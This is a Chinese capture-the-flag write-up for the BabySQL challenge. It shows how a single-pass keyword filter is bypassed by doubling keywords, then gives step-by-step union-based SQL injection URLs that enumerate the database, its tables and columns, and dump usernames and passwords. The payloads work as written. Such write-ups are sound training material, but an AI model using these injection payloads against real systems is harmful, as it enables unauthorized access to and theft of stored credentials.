[极客大挑战 2019]BabySQL
一、过滤判断
过滤关键词:and、or、union、select等
过滤方式:替换关键词为空
二、绕过
题目只进行一次关键词替换,可以嵌套双写绕过。
三、注入
判断字段数
/check.php?username=admin'oorrder+bbyy+3%23&password=admin
得到字段数:3
判断回显位置
/check.php?username=-admin'ununionion+seselectlect+1,2,3%23&password=admin
得到回显位置:2、3
获取数据库名称
/check.php?username=-admin'ununionion+seselectlect+1,2,database()%23&password=admin
得到数据库名称:geek
获取所有表
/check.php?username=0admin'ununionion+seselectlect+1,2,group_concat(table_name)+ffromrom+infoorrmation_schema.tables+whwhereere+table_schema='geek'%23&password=admin
得到:b4bsql、geekuser
获取字段
/check.php?username=0admin'ununionion+seselectlect+1,2,group_concat(column_name)+ffromrom+infoorrmation_schema.columns+whwhereere+table_name='b4bsql'%23&password=admin
得到:id、username、password
/check.php?username=0admin'ununionion+seselectlect+1,2,group_concat(column_name)+ffromrom+infoorrmation_schema.columns+whwhereere+table_name='geekuser'%23&password=admin
得到:id、username、password
获取数据
/check.php?username=0admin'ununionion+seselectlect+1,2,group_concat(id,username,passwoorrd)+ffromrom+b4bsql%23&password=admin
Get flag!
最后更新于
这有帮助吗?